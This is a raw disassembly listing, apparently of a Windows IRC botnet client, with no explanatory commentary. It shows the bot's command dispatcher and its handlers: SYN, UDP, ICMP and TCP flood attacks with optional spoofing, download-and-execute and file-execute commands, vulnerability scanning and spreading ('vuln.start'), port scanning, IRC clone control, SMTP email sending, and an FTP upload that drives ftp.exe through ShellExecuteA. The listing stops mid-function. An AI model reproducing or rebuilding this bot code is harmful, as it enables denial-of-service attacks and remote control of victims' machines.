		push	offset aClone_raw ; "clone.raw"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E0F
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E0F
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D8D
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D8D
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D1F
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D1F
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CF9
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CF9
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C99
		push	[ebp+arg_8]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BCA
		push	[ebp+arg_8]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BCA
		push	[ebp+arg_8]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B2F
		push	[ebp+arg_8]
		push	offset aEnz_de	; "enz.de"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B2F
		push	[ebp+arg_8]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109B2
		push	[ebp+arg_8]
		push	offset aDownload_upz ; "download.upz"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109B2
		push	[ebp+arg_8]
		push	offset aBox_execute ; "box.execute"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410919
		push	[ebp+arg_8]
		push	offset aBox_e	; "box.e"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410919
		push	[ebp+arg_8]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41080D
		push	[ebp+arg_8]
		push	offset aBox_ff	; "box.ff"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41080D
		push	[ebp+arg_8]
		push	offset aBox_rename ; "box.rename"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107BC
		push	[ebp+arg_8]
		push	offset aBox_mv	; "box.mv"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107BC
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106C2
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106C2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4105D8
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4105D8
		push	[ebp+arg_8]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C7
		push	[ebp+arg_8]
		push	offset aDs_ack	; "ds.ack"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C7
		push	[ebp+arg_8]
		push	offset aDs_rm	; "ds.rm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C7
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103C9
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4103C9
		push	[ebp+arg_8]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41028C
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41028C
		push	[ebp+arg_8]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410193
		push	[ebp+arg_8]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410193
		push	[ebp+arg_8]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100A1
		push	[ebp+arg_8]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4100A1
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FFCC
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FFCC
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEBA
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEBA
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aVuln_start ; "vuln.start"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB65
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA46
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA46
		push	[ebp+arg_8]
		push	offset aPu	; "pu"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA46
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F920
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F920
		push	[ebp+arg_8]
		push	offset aPg	; "pg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F920
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F75E
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F75E
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F55E
		lea	eax, [ebp+var_A7C]
		push	edi
		push	eax
		call	sub_415A20
		push	[ebp+arg_18]
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_1FD4]
		push	eax
		call	sub_415A20
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1690]
		push	eax
		call	sub_415A20
		push	offset asc_426A34 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_80]
		call	sub_4098D4
		push	eax
		lea	eax, [ebp+var_1ED4]
		push	eax
		call	sub_415A20
		add	esp, 30h
		lea	eax, [ebp+var_1824]
		push	eax
		push	101h
		call	dword_43C99C	; WSAStartup
		lea	eax, [ebp+var_A7C]
		push	eax
		call	dword_43CAA8	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43CAA4	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_D0], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_CC], eax
		call	dword_43CA24	; ntohs
		mov	[ebp+var_CE], ax
		lea	eax, [ebp+var_1ED4]
		push	eax
		lea	eax, [ebp+var_1FD4]
		push	eax
		lea	eax, [ebp+var_1ED4]
		push	eax
		lea	eax, [ebp+var_1690]
		push	eax
		lea	eax, [ebp+var_1FD4]
		push	eax
		lea	eax, [ebp+var_27D4]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_415316
		add	esp, 1Ch
		lea	eax, [ebp+var_D0]
		push	10h
		push	eax
		push	esi
		call	dword_43C9CC	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_1DD0]
		push	edi
		push	eax
		push	esi
		call	dword_43CA3C	; recv
		lea	eax, [ebp+var_1DD0]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_27D4]
		push	eax
		push	esi
		call	dword_43CA74	; send
		push	ebx
		lea	eax, [ebp+var_1DD0]
		push	edi
		push	eax
		push	esi
		call	dword_43CA3C	; recv
		push	esi
		call	dword_43CABC	; closesocket
		call	dword_43C984	; WSACleanup
		lea	eax, [ebp+var_1690]
		push	eax
		push	offset unk_435880


loc_40F517:				; CODE XREF: sub_40CD3A+396Ej
					; sub_40CD3A+3DD1j ...
		lea	eax, [ebp+var_2D8]


loc_40F51D:				; CODE XREF: sub_40CD3A+3C73j
		push	eax
		call	sub_415316


loc_40F523:				; CODE XREF: sub_40CD3A+50FEj
		add	esp, 0Ch


loc_40F526:				; CODE XREF: sub_40CD3A+1E21j
					; sub_40CD3A+1E7Bj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F547
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40F547:				; CODE XREF: sub_40CD3A+27EFj
					; sub_40CD3A+4433j ...
		mov	esi, [ebp+arg_24]


loc_40F54A:				; CODE XREF: sub_40CD3A+954j
					; sub_40CD3A+475Dj ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		pop	ecx
		mov	eax, esi
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_40F55E:				; CODE XREF: sub_40CD3A+2687j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F730
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F730
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412818
		push	4
		push	esi
		call	sub_40C0F3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F604
		push	esi
		push	offset dword_435824


loc_40F5C3:				; CODE XREF: sub_40CD3A+4989j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_40F5D2:				; CODE XREF: sub_40CD3A+42DBj
					; sub_40CD3A+518Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F5F3
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40F5F3:				; CODE XREF: sub_40CD3A+289Bj
					; sub_40CD3A+5381j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		jmp	loc_412999
; ---------------------------------------------------------------------------


loc_40F604:				; CODE XREF: sub_40CD3A+2881j
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		call	sub_415372
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415372
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415372
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_1DD4]
		push	edx
		push	eax
		lea	eax, [ebp+var_1694]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_1694]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415A08
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40D18F
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_4159B6
		push	[ebp+arg_24]
		call	sub_415960
		lea	eax, [ebp+var_1694]
		push	eax
		lea	eax, [ebp+var_A7C]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_415316
		add	esp, 2Ch
		lea	eax, [ebp+var_A7C]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43C998	; ShellExecuteA
		push	edi
		push	esi
		test	eax, eax
		jz	short loc_40F6CE
		push	offset dword_4357A8
		jmp	short loc_40F6D3
; ---------------------------------------------------------------------------


loc_40F6CE:				; CODE XREF: sub_40CD3A+298Bj
		push	offset dword_435768


loc_40F6D3:				; CODE XREF: sub_40CD3A+2992j
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F6FC
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40F6FC:				; CODE XREF: sub_40CD3A+29A4j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		jmp	short loc_40F716
; ---------------------------------------------------------------------------


loc_40F70A:				; CODE XREF: sub_40CD3A+29EFj
		lea	eax, [ebp+var_1694]
		push	eax
		call	sub_41791C


loc_40F716:				; CODE XREF: sub_40CD3A+29CEj
		lea	eax, [ebp+var_1694]
		push	4
		push	eax
		call	sub_40C0F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40F70A
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_40F730:				; CODE XREF: sub_40CD3A+2835j
					; sub_40CD3A+284Cj
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41587F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406A63
		jmp	loc_412815
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40CD3A+2659j
					; sub_40CD3A+2670j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1104]
		push	esi
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_1104]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_415730
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F7C1
		lea	eax, [ebp+var_1104]
		push	eax
		push	offset aAck	; "ack"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F7C1
		lea	eax, [ebp+var_1104]
		push	eax
		push	offset aRandom	; "random"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F7C1
		push	offset dword_435728
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40F7C1:				; CODE XREF: sub_40CD3A+2A4Dj
					; sub_40CD3A+2A64j ...
		push	[ebp+arg_10]
		call	sub_41587F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_FFC], eax
		jle	loc_40F8E3
		push	edi
		lea	eax, [ebp+var_1104]
		push	esi
		push	eax
		call	sub_41588A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1184]
		push	esi
		push	eax
		call	sub_41588A
		push	[ebp+arg_0]
		call	sub_41587F
		mov	[ebp+var_1000],	eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1188],	eax
		lea	eax, [ebp+var_1084]
		push	esi
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_FF8], ebx
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FF0], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40F858
		mov	eax, offset aNormal ; "Normal"


loc_40F858:				; CODE XREF: sub_40CD3A+2B17j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_4356D0
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Ch
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_1004],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1188]
		push	ebx
		push	eax
		push	offset sub_401BD4
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1004]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40F8D9
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_435680
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40F8D1:				; CODE XREF: sub_40CD3A+2BA5j
		push	32h
		call	dword_421060	; Sleep


loc_40F8D9:				; CODE XREF: sub_40CD3A+2B84j
		cmp	[ebp+var_FEC], ebx
		jz	short loc_40F8D1
		jmp	short loc_40F8F6
; ---------------------------------------------------------------------------


loc_40F8E3:				; CODE XREF: sub_40CD3A+2A98j
		push	offset dword_435630


loc_40F8E8:				; CODE XREF: sub_40CD3A+1B59j
					; sub_40CD3A+1C63j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40F8F6:				; CODE XREF: sub_40CD3A+1C2Bj
					; sub_40CD3A+1C3Fj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D68B
		push	ebx
		push	[ebp+var_4]


loc_40F903:				; CODE XREF: sub_40CD3A+3776j
		lea	eax, [ebp+var_2D8]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_40F913:				; CODE XREF: sub_40CD3A+505Ej
		call	sub_412BD1
		add	esp, 14h
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_40F920:				; CODE XREF: sub_40CD3A+2614j
					; sub_40CD3A+262Bj ...
		cmp	dword_43CB10, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40FA2B
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_590], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_594], eax
		lea	eax, [ebp+var_628]
		push	edi
		push	eax
		call	sub_416BE0
		push	[ebp+arg_18]
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_5A8], eax
		call	sub_41587F
		push	[ebp+arg_10]
		mov	[ebp+var_5A4], eax
		call	sub_41587F
		push	7Fh
		mov	[ebp+var_5A0], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_6A8]
		push	eax
		call	sub_416BE0
		push	[ebp+var_5A0]
		lea	eax, [ebp+var_628]
		mov	[ebp+var_6AC], esi
		push	[ebp+var_5A4]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_5A8]
		push	offset unk_4355D0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Eh
		push	eax
		call	sub_414DDA
		add	esp, 48h
		mov	[ebp+var_598], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6AC]
		push	ebx
		push	eax
		push	offset sub_40A133
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_598]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40FA1E
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435580
		jmp	loc_4105A5
; ---------------------------------------------------------------------------


loc_40FA16:				; CODE XREF: sub_40CD3A+2CEAj
		push	32h
		call	dword_421060	; Sleep


loc_40FA1E:				; CODE XREF: sub_40CD3A+2CC9j
		cmp	[ebp+var_58C], ebx
		jz	short loc_40FA16
		jmp	loc_4105B4
; ---------------------------------------------------------------------------


loc_40FA2B:				; CODE XREF: sub_40CD3A+2BEFj
		push	1FFh
		lea	eax, [ebp+var_2D8]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416BE0
		jmp	loc_4105B1
; ---------------------------------------------------------------------------


loc_40FA46:				; CODE XREF: sub_40CD3A+25CFj
					; sub_40CD3A+25E6j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_590], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_594], eax
		lea	eax, [ebp+var_628]
		push	edi
		push	eax
		call	sub_416BE0
		push	[ebp+arg_18]
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_5A8], eax
		call	sub_41587F
		push	[ebp+arg_10]
		mov	[ebp+var_5A4], eax
		call	sub_41587F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_5A0], eax
		jz	short loc_40FAAB
		push	esi
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_59C], eax
		jmp	short loc_40FAB1
; ---------------------------------------------------------------------------


loc_40FAAB:				; CODE XREF: sub_40CD3A+2D60j
		mov	[ebp+var_59C], ebx


loc_40FAB1:				; CODE XREF: sub_40CD3A+2D6Fj
		push	7Fh
		lea	eax, [ebp+var_6A8]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		push	[ebp+var_5A0]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_628]
		mov	[ebp+var_6AC], esi
		push	[ebp+var_5A4]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_5A8]
		push	offset dword_435508
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Fh
		push	eax
		call	sub_414DDA
		add	esp, 30h
		mov	[ebp+var_598], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6AC]
		push	ebx
		push	eax
		push	offset sub_40A2BF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_598]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40FB58
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4354B8
		jmp	loc_4105A5
; ---------------------------------------------------------------------------


loc_40FB50:				; CODE XREF: sub_40CD3A+2E24j
		push	32h
		call	dword_421060	; Sleep


loc_40FB58:				; CODE XREF: sub_40CD3A+2E03j
		cmp	[ebp+var_58C], ebx
		jz	short loc_40FB50
		jmp	loc_4105B4
; ---------------------------------------------------------------------------


loc_40FB65:				; CODE XREF: sub_40CD3A+25A1j
					; sub_40CD3A+25B8j
		push	8
		call	sub_41501C
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41587F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FBB5
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2D8]
		push	offset dword_435460
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		jmp	loc_410FD3
; ---------------------------------------------------------------------------


loc_40FBB5:				; CODE XREF: sub_40CD3A+2E47j
		push	edi
		call	sub_41587F
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_45C], eax
		call	sub_41587F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_470], eax
		jnb	short loc_40FBEE
		xor	eax, eax
		inc	eax
		mov	[ebp+var_470], eax


loc_40FBEE:				; CODE XREF: sub_40CD3A+2EA9j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FBFB
		mov	[ebp+var_470], ecx


loc_40FBFB:				; CODE XREF: sub_40CD3A+2EB9j
		push	[ebp+arg_10]
		call	sub_41587F
		mov	[ebp+var_46C], eax
		mov	eax, 1F4h
		cmp	[ebp+var_46C], eax
		pop	ecx
		jbe	short loc_40FC1D
		mov	[ebp+var_46C], eax


loc_40FC1D:				; CODE XREF: sub_40CD3A+2EDBj
		or	[ebp+var_458], 0FFFFFFFFh
		cmp	dword_427388, ebx
		mov	[ebp+arg_10], ebx
		jz	short loc_40FC73
		mov	[ebp+arg_24], offset dword_427388


loc_40FC36:				; CODE XREF: sub_40CD3A+2F1Bj
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FC59
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40FC36
		jmp	short loc_40FC73
; ---------------------------------------------------------------------------


loc_40FC59:				; CODE XREF: sub_40CD3A+2F0Dj
		mov	eax, [ebp+arg_10]
		mov	ecx, eax
		mov	[ebp+var_458], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427388[ecx]
		mov	[ebp+var_474], ecx


loc_40FC73:				; CODE XREF: sub_40CD3A+2EF3j
					; sub_40CD3A+2F1Dj
		cmp	[ebp+var_474], ebx
		jz	loc_411AD3
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40FCBA
		cmp	byte ptr [edi],	23h
		jz	short loc_40FCBA
		push	edi
		lea	eax, [ebp+var_588]
		push	10h
		push	eax
		call	sub_41588A
		push	78h
		push	edi
		call	sub_416F20
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_448], eax
		jmp	loc_40FD8E
; ---------------------------------------------------------------------------


loc_40FCBA:				; CODE XREF: sub_40CD3A+2F4Ej
					; sub_40CD3A+2F53j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40FCDC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40FCDC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40FCDC
		push	offset dword_435410
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40FCDC:				; CODE XREF: sub_40CD3A+2F86j
					; sub_40CD3A+2F8Ej ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43C9C8	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_CC], eax
		push	[ebp+var_CC]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40FD88
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416EE0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40FD7C


loc_40FD5A:				; CODE XREF: sub_40CD3A+3040j
		cmp	eax, ebx
		jz	short loc_40FD7C
